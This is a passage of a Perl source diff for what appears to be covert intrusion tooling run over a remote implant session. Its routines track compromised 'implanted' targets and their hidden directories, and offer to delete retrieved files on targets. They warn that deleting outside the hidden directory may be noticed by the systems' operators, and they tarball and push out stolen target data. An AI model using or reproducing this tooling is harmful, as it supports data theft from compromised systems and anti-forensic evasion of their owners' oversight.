"$opdown/$nopen_rhostname/$filename2"; + my $locsize = -s $gotit; + + $sizediff = $usesize - $locsize; + $sizematch = 1 if ($usesize and + $usesize == -s $gotit); + } + $gotit =~ s,/+,/,g; + $gotviaother =~ s,/+,/,g; + $filename2 =~ s,/+,/,g; + return ($gotit,$gotviaother,$filename2,$sizematch,$sizediff); +} + +sub removefrompath { + local($path,@removedir) = (@_); + return "" unless $socket; + $path = ":$path:"; + foreach my $removedir (@removedir) { + $path =~ s,:$removedir:,:,g; + } + $path =~ s/^://; $path =~ s/:$//; + doit("-setenv PATH=$path"); + return $path; +} + +sub isbeneathhidden { + local ($testdir) = (@_); + my $host_regexp = ""; + foreach my $dir (keys %host_hiddendirs) { + $host_regexp .= "|" if $host_regexp; + $host_regexp .= $dir; + } + $host_regexp =~ s,([\^\+\*\.\\\[\]]),\\$1,g; + +#offerabort("host_regexp=$host_regexp= testdir=$testdir="); + return 1 if ($testdir =~ m,$host_regexp,); + return 0; +} + +sub offerwipe { + # Offer to wipe target files @wipefiles. + # Optionally, confirm local existence and size before doing so. + # Optionally, do NOT prompt about delete if it is in the hidden directory. + # If files not within $host_hiddendir, SCREAM LOUDLY THAT THIS MIGHT BE BAD. + #dbg("In offerwipe(@_)"); + local($options,@wipefiles) = (@_); + my $wipecount = @wipefiles; + my ($lslist,@newlist,$confirmsize,$warning,$still,$withoutprompt) = (); + my $default = "Y"; + my $rm = "-rm"; + my (%safewipe,%iffywipe,@iffyfiles) = (); + if ($options =~ /CONFIRMSIZE/) { + $confirmsize = 1; + $options =~ s/CONFIRMSIZE//; + } + if ($options =~ /NOBUILTINRM/) { + $rm = "rm"; + $options =~ s/NOBUILTINRM//; + } + if ($options =~ /LISTIS-ls/) { + processnopenls(\@newlist,($tailbytes or $headbytes),$getempty,$maxsize,$output,$nopenlines,@wipefiles) ; + @wipefiles = @newlist; + $options =~ s/LISTIS-ls//; + } + + ($withoutprompt) = $options =~ /(WITHOUTPROMPT)/; + $options =~ s/WITHOUTPROMPT//; + foreach (@wipefiles) { + if ($targetcwd =~ m,^/, and + !m,^/,) { + s,^,$targetcwd/,; + } + if (isbeneathhidden($_)) { + $safewipe{$_}++; + } else { + $iffywipe{$_}++; + } + } + @wipefiles = keys %safewipe; + my @iffyfiles = keys %iffywipe; +# dbg("In offerwipe(@_) with +#withoutprompt=$withoutprompt= +#wipefiles=(@wipefiles) +#iffyfiles=(@iffyfiles) +#"); + my $iffycount = @iffyfiles; + my ($ans,$longans) = (); + if (@iffyfiles) { + my $problem = "are not within our hidden directory"; + $problem = "reside on an UNIMPLANTED system" unless $host_hiddendir; + ($ans,$longans) = mygetinput + ($COLOR_FAILURE. + "\n\n$COLOR_FAILURE WARNING!!$COLOR_WARNING WARNING!!$COLOR_FAILURE WARNING!!$COLOR_WARNING WARNING!!$COLOR_FAILURE WARNING!!$COLOR_WARNING WARNING!!$COLOR_NORMAL$COLOR_FAILURE WARNING!!\n\n". + $COLOR_FAILURE. + "\n\t".join("\n\t",@iffyfiles). + "\n$COLOR_NOTE\n". + "$prog has been tasked to$COLOR_FAILURE DELETE THESE$COLOR_NOTE target files.\n\n". + "These $iffycount files (of $wipecount just retrieved and about to\n". + "be deleted on target) $problem,\n". + "and so deleteing them may be noticed by the system operators.\n". + "Super secret tip for those who actually read these prompts:\n". + "Enter \"YESYES\" here to avoid several are you sure prompts.\n\n". + "Do you really want to delete them?", + "N" + ); + unless ($longans eq "YESYES") { + if ($ans eq "y") { + ($ans) = mygetinput + ("Really?", + "N" + ); + if ($ans eq "y") { + ($ans) = mygetinput + ("Seriously, last chance. ARE YOU SURE?", + "N" + ); + } + } + } + if ($ans eq "y") { + push(@wipefiles,@iffyfiles); + $warning = "\n$COLOR_FAILURE\n". + "WARNING: Some of these files are NOT in our hidden directory\n\n"; + $still = " still"; + $default = "N"; + } else { + myalert("OK, then, skipping the delete for these $iffycount files."); + } + } + $wipecount = @wipefiles; + return unless (@wipefiles); + my $ans = "y"; + if ($warning or $withoutprompt eq "") { + $warning = "ALL of these are within our hidden directory, $host_hiddendir.\n\n" + unless $warning; + unless ($longans eq "YESYES") { + ($ans) = mygetinput + ("${COLOR_FAILURE}DELETING THESE FILES:\n\n". + " ".join("\n ",@wipefiles)."\n\n". + $COLOR_NORMAL. + "$prog $origargs\n". + "is done processing on $nopen_rhostname\n\n". + "You can now DELETE THE FILES SHOWN ABOVE ON TARGET if desired.\n\n". + $warning.$COLOR_NORMAL. + "Do you$still want to$COLOR_FAILURE DELETE THESE $wipecount TARGET FILES?$COLOR_NORMAL", + $default + ); + } + return unless ($ans eq "y" and @wipefiles); + } + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport) + = parsestatus(); +# dbg("Targetcwd=$targetcwd="); + my $prefix = ""; + my $curdepth = $targetcwd; + $curdepth =~ s,[^/],,g; + $curdepth = length($curdepth); + while ($curdepth >0) { + $prefix = "../$prefix"; + $curdepth--; + } + $prefix =~ s,/$,,; + my $cancelwipe = 0; + my $list = ""; + while (@wipefiles) { + my $file = shift @wipefiles; + my ($gotindown,$gotinrsync,$filename,$sizematch,$sizediff) = gotlocalcopy($file,$getlocaldir,$targetcwd); + + if ($confirmsize and $filesizes{$file}) { + my ($localsize,$secondsize) = (0,0); + $localsize = -s $gotindown if $gotindown; + $secondsize = -s $gotinrsync if $gotinrsync; + $localsize = maxof($localsize,$secondsize); + unless ($localsize == $filesizes{$file}) { + $cancelwipe++; + my $what = "is the wrong size"; + if (!$gotindown and !$gotinrsync) { + "is missing"; + } + my $findcmd = "find $opdown -name \"".basename($file)."*\" -ls 2>/dev/null"; + mygetinput("Pausing here. NOT going to delete this file remotely:\n\n". + $file."\n\n". + "Our local copy $what.\n". + $COLOR_FAILURE."\n". + "YOU NEED TO FIGURE THIS OUT.\n\n". + "gotindown=$gotindown= gotinrsync=$gotinrsync=\n\n". + "localsize=$localsize= secondsize=$secondsize= filesizes{$file}=$filesizes{$file}=\n\n". + $findcmd."\n". + `$findcmd`. + "(hit return to continue)" + ); + } + # } else { +# offerabort("WTF"); + } + $list .= " $prefix$file"; + if (length $list > $nopenmaxcommandlength) { + doit("$rm $list"); + $list=""; + } + } + doit("$rm $list") if (!$cancelwipe and $list); +}#offerwipe + +sub offerball { + # Offer to create and push a data tarball containing @ballfiles, where + # $srcdir, if provided, is where we can file those files, + # $dirsarrayref, if provided, is a ref to an array of dirs in $srcdir + # that we use when "@ballfiles" is too big. + # @ballfiles can be either: + # 1) a list of remote files (which are put in the + # tarball only if they exist in $opdown/$nopen_rhostname); or + # 2) a list of local files somewhere beneath $opdown; or + # 3) some mixture of both + # If tarball is requested, fork, parent returns and child exits/closes. + + local($forceitarg,$fileprefix,$moreprompt,$srcdir,$dirsarrayref,@ballfiles) = (@_); + my $forceit = $forceitarg ? " FORCE" : "" ; + $forceit .= " NOXWAIT" if ($forceitarg =~ /NOXWAIT/); + my $linelen = length "@ballfiles" ; + + if ($dirsarrayref and + scalar(@$dirsarrayref) > 0 and + (($linelen > $nopenmaxcommandlength) or + !@ballfiles + )) { + @ballfiles = @$dirsarrayref; + progprint($COLOR_FAILURE."\n\n". + "The list of individual files is too long ($linelen chars).\n". + "Using \"@ballfiles\" to populate tarball.\n". + "You may get files in it that were retrieved earlier.", + $COLOR_FAILURE) + if ($linelen > $nopenmaxcommandlength); + } + + my %projectshash = (); + my $todaystamp = timestamp(short); + if ($gbl_opuser) { + # No need to repeat dots, if they had one there + $fileprefix =~ s,\.+$,,g; + $fileprefix .= ".$gbl_opuser"; + } + my $newball = "${fileprefix}_${nopen_rhostname}_${todaystamp}.tar.bz2"; + + # See if we know the current project + my ($project,$targets,@projectlist) = + opnotesprojects(\%projectshash); + $project = $projectname if length $projectname; + my $inmore = " in\n\n $srcdir\n\n" if $srcdir; + my ($ans,$prefix) = ("y"); + ($ans) = mygetinput + (#$COLOR_FAILURE. + #"\n\t".join("\n\t",@ballfiles). + #"\n$COLOR_NOTE\n". + "$prog $origargs\n\n". + "The above script is done processing on $nopen_rhostname.\n\n". + "You can now create a fresh tarball in $opdir called:\n\n". + " $newball\n\n". + "of the target data$inmore.\n". + $moreprompt. + "Do you want to create it?", + "Y" + ) + unless $forceit; + return unless ($ans eq "y"); + + if ($fileprefix =~ /$project/i) { + $prefix = "NONE"; + } else { + $ans = ""; + ($ans,$prefix) = mygetinput + ("Enter a prefix string to put in the tarball name (defaults to project\n". + "if you have your targets section populated correctly and saved by now).\n". + "Enter \"NONE\" to skip the prefix, or \"ABORT\" to abort.\n", + $project + ) + unless $forceit; + mydie("User aborted") if ($prefix eq "ABORT"); + } + unless (!$prefix or $prefix eq "NONE") { + $newball = "${prefix}_$newball"; + } + # If we continue, createtarball() will fork, parent returns + # while child daemonizes, creates tarball in background then exits +dbg("About to call: + + createtarball($newball,$srcdir,$forceit,@ballfiles) if fork(); + + +"); + newhostvar("host_dirpushed{$srcdir}",$host_dirpushed{$srcdir}+1); + createtarball($newball,$srcdir,$forceit,@ballfiles) if fork(); + my $doing = "offering to copy-fast"; + my $doingmore = + "If for some reason you are NOT pushing yet, you should ^C in the\n". + "copy-fast window so copy-fast does not move it(them) to /root/NOTPUSHED."; + if ($forceit) { + $doing = "pushing"; + $doingmore = ""; + } + myalert + ("\n\n". + "Creating this archive in the background:\n\n". + " $opdir/$newball\n\n". + "When it is done, another window will pop up $doing it\n". + "(and any others in /current at the moment).\n\n". + $doingmore + ); +}#offerball + +sub createtarball { + # If they wanted the tarball, fork/close here releases the + # NOPEN window that called us, we popup an xterm showing tarball + # getting made. We exit when it is done. + # The output of the popup is saved in $opdown with target IP. + # + local ($tarball,$srcdir,$forceit,@filelist) = (@_); + my $nozip = " NOZIP"; # Maybe make this optional later + my $noxwait = ($forceit =~ /NOXWAIT/) ? " NOXWAIT" : ""; + $forceit = " FORCE" if $forceit; +dbg("In createtarball(@_) + +filelist has ".scalar @filelist." entries +filelist=(@filelist)"); + my $taroutfile = "$opdown/createtarball_${nopen_rhostname}_$$"; + mydie("Cannot write to $taroutfile") unless + open(TAROUT,"> $taroutfile"); + print TAROUT gmtime()." $prog BUILDING NEW TARBALL\n". + "========================\n"; + close TAROUT; + `sync`; + if ((!$noxwait) and fork()) { + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + exec("xterm -title \"${prog}_${nopen_hostonly}_now_building_$tarball\" ". + "-ut +cm +cn -sk -sb -sl 15000 -geometry 128x67+1302+26 -e tail -50f $taroutfile"); + exit; + } + mydie("Cannot append to $taroutfile") unless + open(TAROUT,">> $taroutfile"); + select TAROUT; + $| = 1; + sleep 2; + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + my ($dstpath,$srcpath) = (); +# if (@mergepullsfrom) { +# SEE autorsync for this content if we want to add merging capability here +# } + my $filelist = ""; + $srcdir = "$opdown/$nopen_rhostname" + unless ($srcdir and -d $srcdir); + chdir("$srcdir"); + foreach my $file (@filelist) { + # If no $file, maybe there is a $file.tail or $file.partial, + # and we use that instead. + $file = "$file.tail" unless -e "./$file"; + $file = "$file.partial" unless -e "./$file"; + next unless -e "./$file"; + $file =~ s,^([\s./]*)*,./,; +dbg("In $srcdir looking for :$file:\nls -l $file\n". + `ls -l $file`); + $filelist .= " $file"; + } + my $tarcmd = "cd $srcdir ; tar cvjf $opdir/$tarball $filelist 2>&1"; + if (!$filelist) { + print + "\n\n". + $COLOR_FAILURE. + gmtime(). + "\n\nNo data to tar up, no files found in $srcdir from this pull."; + } else { + print + "\n\n". + $COLOR_FAILURE. + gmtime(). + "\n\nNow tarring up the results with:\n\n". + $COLOR_NOTE. + $tarcmd."\n\n". + $COLOR_NORMAL. + " made by: $prog $origargs\n". + " on: $nopen_rhostname\n\n". + "Verbose tar output will follow when it is done:\n\n"; + + if (open(TARBALLIN,"$tarcmd |")) { + $| = 1; + while () { + print ; + } + close(TARBALLIN); + } + my $listing = `cd $opdir ; ls -alrth *bz2 |grep -v $tarball`; + $listing .= $COLOR_FAILURE; + $listing .= `cd $opdir ; ls -alrth $tarball`; + $listing .= $COLOR_NORMAL; + + print "\n\n".gmtime(). + "\n\nJust built $tarball,\n". + "above command is done,$COLOR_FAILURE $nopen_rhostname$COLOR_NORMAL \n". + "tarball(s) now in $opdir include:\n\n". + $listing; +# if ($mergepullsfrom) { +# print "\n$COLOR_FAILURE\n". +# "NOTE:$COLOR_NOTE Scroll TO THE TOP above to confirm merge from\n". +# $COLOR_NORMAL. +# " $mergepullsfrom\n$COLOR_NOTE". +# " to:$COLOR_NORMAL $destdir$dstpath\n\n". +# $COLOR_NOTE. +# " is as desired.\n\n"; +# } + exit if $nopush; + # Only one copy-* at a time as each one wipes *.md5 in $OPDIR + my $waitcount = 0; + while (1) { + chomp(my $test = `ps -wefwwww | grep -v grep | grep "xterm.*title.*copy-fast_popup.*130x64.*copy-fast.*"`); + last unless $test; + sleep 1; + print "\a$COLOR_FAILURE\n".scalar gmtime()."\n\n". + "Cannot push up $tarball yet.\n\n".$COLOR_NORMAL. + $test."\n\n". + "This instance of createtarball will not run copy-fast until previous instances\n". + "of copy-fast are done. Two at a time will conflict.\n$COLOR_NORMAL\n" + if ($waitcount < 4 or ($waitcount % 35) == 0); + $waitcount++; + } + print "\a$COLOR_FAILURE\n".scalar gmtime()."\n\n". + "Firing this copy-fast, previous one is done.$COLOR_NORMAL\n\n" + if ($waitcount); + print $COLOR_NOTE."\n\n". + "$prog just popped up a window running copy-fast now that this tarball is done.\n". + "If for some reason you are NOT pushing yet, you should ^C it so it does not move\n". + "the file to /root/NOTPUSHED.\n\n"; + unless (fork()) { + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + dbg("EXECING: 1x -title \"\\\"${prog}_copy-fast_popup\\\"\" -geometry 130x64-0+0 -e copy-fast $opdir$nozip$forceit$noxwait"); + exec("1x -title \"\\\"${prog}_copy-fast_popup\\\"\" -geometry 130x64-0+0 -e copy-fast $opdir/$tarball $nozip$forceit$noxwait"); + } + } + print $COLOR_FAILURE."\n\n". + "(close this window with Ctrl-C anytime, other tarballs will wait until you do.)\n$COLOR_NORMAL\n"; + close(TAROUT); + exit ; +}#createtarball + +sub opnotesprojects { + # If /current/down/opnotes.txt has a targets section, + # return an array contining: + # The final line's project name (will be repeated later in the array) + # a scalar of the entire targets section and + # an array of all projects. + # PITCHIMPAIR will always be first regardless of order in targets + # section, otherwise order of targets section is preserved. + # If $gbl_opproject is defined and not "nothing", it is used as the entire op project. + # If $gbl_opproject is not defined or is "nothing", the final target's project is used as + # the entire op project. + # The entire op project is returned as the first element opnotesprojects() returns. + # If any optional hash references are sent, those are modified to contain: + # $$projectshashref{$ip} = PROJECT + # $$aliashashref{$ip} = + # $$depthhashref{$ip} = target depth (lowest is pitch, etc.) + # $$hostnamehashref{$ip} = FQDN + # $$statushashref{$ip} = status (successful, etc) + # $$typehashref{$ip} = type (unix, fw, etc) + # $$commentshashref{$ip} = comments + # $$targetlinehashref{$ip} = entire line + # values with key of $ip and value of project name. + # + local ($projectshashref, + $aliashashref, + $depthhashref, + $hostnamehashref, + $statushashref, + $typehashref, + $commentshashref, + $targetlinehashref, + ) = (@_); + return () unless open(NOTESIN,"$opdown/opnotes.txt"); + my (%projectnamefromnotes, + @returnarr, + $gotpitch, + $intargets, + $targetsection, + $pitchindexinnotes, + $projectnamefromnotes, + ) = (); + # Clear any hashes we have referenced here: + %$projectshashref = () + if defined $projectshashref; + %$aliashashref = () + if defined $aliashashref; + %$depthhashref = () + if defined $depthhashref; + %$hostnamehashref = () + if defined $hostnamehashref; + %$statushashref = () + if defined $statushashref; + %$typehashref = () + if defined $typehashref; + %$commentshashref = () + if defined $commentshashref; + %$targetlinehashref = () + if defined $targetlinehashref; + + + my $pitchindexinnotes=-1; + + while ($line = ) { + my $malformed=0; + next unless ($intargets or $line =~ /^Targets/); + unless ($intargets) { + $intargets++; + next; + } + $intargets++; + if ($line =~ /^ALIAS:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}).*=.*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/i) { + $$aliashashref{$1} = $2 if defined $aliashashref; + next; + } elsif ($line =~ /^\s*ALIAS:/i) { + mywarn("autoutils::opnotesprojects() called by prog=$prog: IGNORING Malformed targets/ALIAS line, does not contain IP1=IP2 format:\nline $intargets=$line"); + $malformed++; + } + last if ($line =~ /^Results/i); # end of target list + my ($ip) = $line =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/; + my ($fqdn) = $line =~ /$ip\S*\s+(\S+)/; + next unless $ip and $fqdn; + $line =~ s/$ip/ $ip/; + my @fields = split(/\s+/,$line); + my ($depth,$ipagain,$fqdnagain,$project,$type,$status,@comments) = @fields; + ($depth,$ipagain,$fqdnagain,$project,$type,$status) = + (lc $depth,lc $ipagain,lc $fqdnagain,lc $project,lc $type,lc $status) ; + unless ($ip eq $ipagain) { + mywarn("autoutils::opnotesprojects() called by prog=$prog: IGNORING Malformed target line, IP=$ip is in wrong field:\nline $intargets=$line"); + $malformed++; + } + if (ipcheck($project)) { + mywarn("autoutils::opnotesprojects() called by prog=$prog: IGNORING Malformed target line, PROJECT=$project is an IP address:\nline $intargets=$line"); + $malformed++; + } + next if $malformed; + $targetsection .= $line; + my $comments = join(" ",@comments); + + $$projectshashref{$ip} = $project + if defined $projectshashref; + $$depthhashref{$ip} = 1+length($depth) + if defined $depthhashref; + $$hostnamehashref{$ip} = $fqdn + if defined $hostnamehashref; + $$statushashref{$ip} = $status + if defined $statushashref; + $$typehashref{$ip} = $type + if defined $typehashref; + $$commentshashref{$ip} = $comments + if defined $commentshashref; + $$targetlinehashref{$ip} = $line + if defined $targetlinehashref; + + # We always use this to set it, so LAST hops project will be default + $projectnamefromnotes = $project; + if (length $projectnamefromnotes{$ip} and + $projectnamefromnotes{$ip} ne $project) { + # warn("IP $ip has more than one projectname in Targets section(s):\n\t". + # "$projectnamefromnotes{$ip} and $fields[$pitchindexinnotes]\n"); + } + $projectnamefromnotes{$ip} = $project; + unless ($project eq "pitchimpair" and !$gotpitch++) { + push(@returnarr,$project); + } + } + @returnarr = ("pitchimpair",$targetssection,@returnarr) if $gotpitch; + newhostvar("gbl_targets",$targetsection, + ); + + # Set all these globals, probably just adjusted by the hashref changes just + # sent now. + my (%ipsum,%requestedpitchips,@pitchcapfiles,$allpitchsum,%gbl_pitchips) = (); + foreach my $key (keys %gbl_projectshash) { + # This makes any call to bwsofar() set a bunch of vars from Targets. + newhostvar("gbl_projectshash{$key}",$gbl_projectshash{$key}); + newhostvar("gbl_aliaseshash{$key}",$gbl_aliaseshash{$key}); + newhostvar("gbl_depthhash{$key}",$gbl_depthhash{$key}); + newhostvar("gbl_hostnamehash{$key}",$gbl_hostnamehash{$key}); + newhostvar("gbl_statushash{$key}",$gbl_statushash{$key}); + newhostvar("gbl_typehash{$key}",$gbl_typehash{$key}); + newhostvar("gbl_commentshash{$key}",$gbl_commentshash{$key}); + newhostvar("gbl_targetline{$key}",$gbl_targetline{$key}); + + next unless (lc $gbl_projectshash{$key} eq "p" or + lc $gbl_projectshash{$key} eq "pitchimpair"); + # Sett these values only for pitches + newhostvar("gbl_pitchips{$key}",$gbl_targetline{$key}); + next if ($whichip and $key ne $whichip); + $requestedpitchips{$key} = $gbl_targetline{$key}; + } + + return ($gbl_opproject,$targetsection,@returnarr) + if ($gbl_opproject and lc $gbl_opproject ne "nothing"); + return ($returnarr[$#returnarr],$targetsection,@returnarr); +} +#opnotesprojects + +sub fixdf { + # Given df output (as either a scalar with newlines, or as an array of lines each + # with NO newlines (i.e., as either $output or @output from doit()), we return + # (in the same format as we were given) a "fixed" df output, where we have joined + # together any two-line entries (where the "\s/" mountpoint is on the second line). + local (@lines) = (@_); + my $arr = 1; + my @newlines = (); + unless (@lines > 1) { + $arr = 0; + @lines = split(/\n/,$lines[0]); + } + while (@lines) { + my $line = shift(@lines); + chomp($line); + unless ($line =~ m,\s+/, or $line =~ /^\s*filesystem/i or $line =~ /\savail/i) { + chomp(my $line2 = shift(@lines)); + $line .= " $line2"; + } + push(@newlines,$line); + } + if ($arr) { + return @newlines; + } else { + return join("\n",@newlines)."\n"; + } +} + +sub findallindex { + # Given a string, and an array, return an + # array of indicies for elements that match. + local ($str,@arr) = (@_); + my @ret = (); + for (my $i=0;$i<@arr;$i++) { + push @ret,$i if ($arr[$i] =~ /$str/i); + } + return @ret; +} + + +sub findindex { + local ($str,@arr) = (@_); + for (my $i=0;$i<@arr;$i++) { + return $i if ($arr[$i] =~ /$str/i); + } + return -1; +} + +sub parelist { + # Given list of files, say in $opup somewhere, pare it down by + # filtering in those that match and out those that don't. + # Use with caution? Taken from sub putctrl, genericized here so + # autogetcdrhitsgz can use it for curse*. + # + local (@origlist) = (@_); + #grep /stoicsurgeon.*ctrl/i , sort readdir SKINNYDIR; + my @list = @origlist; + my @maybelist=(); + my $origsize = @list; +#dbg(scalar @list . "orig "."list=(@list)"); + if ($linuxtarget) { + @maybelist = grep /linux/i , @list; + } else { + @maybelist = grep ! /linux/i , @list; + } + @list = @maybelist if @maybelist; + @maybelist=(); + if ($junostarget) { + @maybelist = grep /linux/i , @list; + } else { + @maybelist = grep ! /linux/i , @list; + } + @list = @maybelist if @maybelist; + @maybelist=(); + if ($aixtarget) { + @maybelist = grep /aix/i , @list; + } else { + @maybelist = grep ! /aix/i , @list; + } + @list = @maybelist if @maybelist; + @maybelist=(); +#dbg(scalar @list . "gotlinux: "."list=(@list)"); + if ($sparctarget) { + @maybelist = grep /sparc/i , @list; + } else { + @maybelist = grep ! /sparc/i , @list; + } + @list = @maybelist if @maybelist; + @maybelist=(); +#dbg(scalar @list . "gotsparc: "."list=(@list)"); + if ($inteltarget) { + @maybelist = grep /[xi].{0,1}86/i , @list; + } else { + @maybelist = grep ! /[xi].{0,1}86/i , @list; + } + @list = @maybelist if @maybelist; + @maybelist=(); +#dbg(scalar @list . "gotintel: "."list=(@list)"); + @maybelist = grep /sparc64/i , @list + if $sparc64target; + @list = @maybelist if @maybelist; +#dbg(scalar @list . "gotsparc64: "."list=(@list)"); + @maybelist = grep /64/i , @list + if $intel64target; + @list = @maybelist if @maybelist; +#dbg(scalar @list . "gotintel64: "."list=(@list)"); + if ($solaristarget) { + @maybelist = grep /solaris/i , @list; + #dbg(scalar @maybelist . "gotsolarisinmaybe "."list=(@maybelist)"); + } + if ($solaristargetversion) { + my $str = $solaristargetversion; + $str =~ s/\./\\\./g; + @maybelist = @list unless @maybelist; + my @maybelist2 = grep /solaris$str/i , @maybelist; +# unless (@maybelist2) { +# $str =~ s/2/5/; # Try the 5.* nomenclature +# @maybelist2 = grep /solaris$str/i , @maybelist; +# } + @maybelist = @maybelist2 if @maybelist2; + + #dbg(scalar @maybelist . "gotsolaristargetverinmaybe "."list=(@maybelist)"); +#dbg("solaristargetversion=$solaristargetversion="); + } + #dbg("Returning list=(@maybelist)") if @maybelist; + return (@maybelist) if @maybelist; + #dbg("Returning list=(@list)") ; + return (@list); +} +#parelist + +sub taildiff { + # Use mydo to gettail -$lines all the files, default lines to 175 if + # not given + local ($which,$lines,@taildfiles) = (@_); + if ($lines =~ /^-{0,1}(\d+)$/) { + $lines = $1; + } else { + @taildfiles = ($lines,@taildfiles); + $lines = 175; + } + +} +#taildiff + +sub tickleifneedbe { + local($builtinsonly,$cmd,$delay) = (@_); + my @retval = (); + $delay = int($delay); + $delay = 15 unless $delay > 0; + # Do a little something if our $timelastcmd was over 15s ago + return @retval unless time() > $timelastcmd + $delay; + if ($builtinsonly and !$cmd) { + $cmd = $builtinsonly; + $builtinsonly = ""; + } + unless ($cmd) { + $cmd = "w"; + $cmd = "-w" if $builtinsonly; + } + @retval = doit($cmd); + $timelastcmd = time(); + return @retval; +} +#tickleifneedbe + +sub setshortdirs { + # Given array of dirs, returns array of dirs with last two characters + # of each replaced with a "*". + # Any dirs in original array with basename of two chars or less is + # REMOVED/IGNORED in the result. + local (@dirarr) = (@_); + my @shortarr = (); + foreach (@dirarr) { + s,/+$,,; + my $n=2; + my ($c,$s) = (); + while ($n-- > 0) { + $c = chop; + if ($c eq "/") { + $n = -10; + last; + } + $s .= $c; + } + #dbg(" in setshortdirs(@_) with dir=$_= s=$s= n=$n"); + next if ($n == -10); + push(@shortarr,"$_\*"); +# if (m,[^/]{1,3}\$,) { +# s,[^/]{1,3}$,,g; +# push(@shortarr,"$_\*"); +# } + } + return @shortarr; +} +#setshortdirs + +sub findfilematching { + local ($regexp,$typename,@paths) = (@_); + # Use backticked find on @paths, suppress stderr, + # $typename: + # if "d" or "f", limits find to dirs or files only + # if "[df]nString", uses -name "String" + # return array containing files that match $regexp. + # If $regexp ends in "/i", make it case insensitive. + # @paths has a default if none provided + @paths = ("/mnt/zip",$opdir) unless @paths; + + my $casesensitive = 1; + my ($type,$name,$string) = (); + if ($typename =~ /^([df])/i) { + $type = "-type ".lc $1; + $typename =~ s/^([df])//i; + } + ($name,$string) = $typename =~ /^(.)(.*)/i; + if (lc $name eq "n") { + if ($string) { + $name = "-name \"$string\""; + } else { + $name = ""; + } + } + if ($regexp =~ m,/i$,) { + $casesensitive = 0; + $regexp =~ s,/i$,,; + } +# dbg("In findfilematching(@_) with: +#paths=(@paths) + +#regexp=$regexp= +#typename=$typename= +#name=$name= +#type=$type= +#casesensitive=$casesensitive=\n\n"); + my @retarr = (); + if ($regexp) { + if ($casesensitive) { + @retarr = grep /$regexp/ , + split(/\n/,`find @paths $type $name 2>/dev/null`); + } else { + @retarr = grep /$regexp/i , + split(/\n/,`find @paths $type $name 2>/dev/null`); + } + } else { + @retarr = split(/\n/,`find @paths $type $name 2>/dev/null`); + } + return uniqify_array(@retarr); +} +#findfilematching + + +sub whendo { + # whendo() looks for @ARGS/@ARGV entries or files in $optmp that indicate + # WHEN to DO what. It sets these globals accordingly (that is, setting each + # iff either the right keyford file in $optmp exists, or that keyword was + # provided on the "-gs auto KEYWORD" command. + # $autoforce + # $autoyes + # $autoreget + # $autoshort + # $autonohostinfo + # $redo + # It then returns an array containing: + # $thismonth Whether we want a autonewdone survey once this month + # $today Whether we want a autonewdone survey today + # $thismonthfiles A list of files in $optmp that match all of: + # $findstring + # THISMONTH + # some YYYY-MM-DD string in the current month. + # $todayfiles A list of files in $optmp that match all of: + # $findstring + # TODAY + # some YYYY-MM-DD string from today. + + local($findstring,$finished,$thismonth,$today,@ARGS) = (@_); + # Use global @ARGV if they did not provide @ARGS: + @ARGS = @ARGV unless @ARGS; + parsestatus(!$finished); # We force -status on first whendo(), not second. + + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime(); + $year += 1900 unless $year > 1900; + my $yearmonstr = sprintf("%04d-%02d",$year,$mon+1); + my $todaystr = sprintf("$yearmonstr-%02d",$mday); + + # This month + my @thismonthfiles = split(/\n/,`ls -1 $optmp/$findstring.*THISMONTH* 2>/dev/null`); + my @oldthismonthfiles = grep ! /$yearmonstr/,@thismonthfiles; + unlink(@oldthismonthfiles); + @thismonthfiles = grep /$yearmonstr/,@thismonthfiles; + + # Today + my @todayfiles = split(/\n/,`ls -1 $optmp/$findstring.*TODAY* 2>/dev/null`); + my @oldtodayfiles = grep ! /$todaystr/,@todayfiles; + unlink(@oldtodayfiles); + @todayfiles = grep /$todaystr/,@todayfiles; + + if ($finished) { + # If autonewdone.whatever finished correctly, touch the right files, + # only do the THISMONTH and TODAY ones if that is why we just did it. + system("touch $optmp/$findstring.THISMONTH.$todaystr.$nopen_rhostname") + if ($thismonth); + system("touch $optmp/$findstring.TODAY.$todaystr.$nopen_rhostname") + if ($today); + if (-f "$optmp/$findstring.INPROGRESS.$targetpid") { + rename("$optmp/$findstring.INPROGRESS.$targetpid", "$optmp/$findstring.$nopen_rhostname"); + } else { + dbg("This is odd, $optmp/$findstring.INPROGRESS.$targetpid does not exist, ARGV=(@ARGV)"); + `touch "$optmp/$findstring.$nopen_rhostname"`; + } + } else { + $thismonth = ("@ARGV" =~ /THISMONTH/i or + -f "$optmp/$findstring.ALL.THISMONTH") ? "THISMONTH" : ""; + $today = ("@ARGV" =~ /TODAY/i or + -f "$optmp/$findstring.ALL.TODAY") ? "TODAY" : ""; + + $autoforce = ("@ARGV" =~ /FORCE/i or + "@ARGV" =~ /-f/i or + -f "$optmp/$findstring.ALL.FORCE") ? "FORCE" : ""; + $autoyes = ("@ARGV" =~ /YES/i or + -f "$optmp/$findstring.ALL.YES" or + $today or $thismonth ) ? "YES" : ""; + $autoreget = ("@ARGV" =~ /REGET/i ? "r" : "" or + -f "$optmp/$findstring.ALL.REGET") ? "REGET" : ""; + $autoshort = ("@ARGV" =~ /SHORT/i or + -f "$optmp/$findstring.ALL.SHORT") ? "SHORT" : ""; + $autonohostinfo = ("@ARGV" =~ /nohostinfo/i ? "NOHOSTINFO" : "" or + -f "$optmp/$findstring.ALL.NOHOSTINFO") ? "NOHOSTINFO" : ""; + } + my $thismonthfiles = join("\n",@thismonthfiles); + my $todayfiles = join("\n",@todayfiles); + $autoforce = "TODAY" if ($today and !$todayfiles); + $autoforce = "THISMONTH" if ($thismonth and !$thismonthfiles); + my $redo = 1 if ("@ARGV" =~ /AGAIN/i or $autoforce); +dbg("redo=$redo= autoforce is now=$autoforce= +ARGV=(@ARGV) + +ARGS=(@ARGS) in whendo(@_) with + finished=$finished= + yearmonstr=$yearmonstr= + todaystr=$todaystr= + autoforce=$autoforce= + autoyes=$autoyes= + autoreget=$autoreget= + autoshort=$autoshort= +autonohostinfo=$autonohostinfo= + +RETURN: redo=$redo, + thismonth=$thismonth, + today=$today, 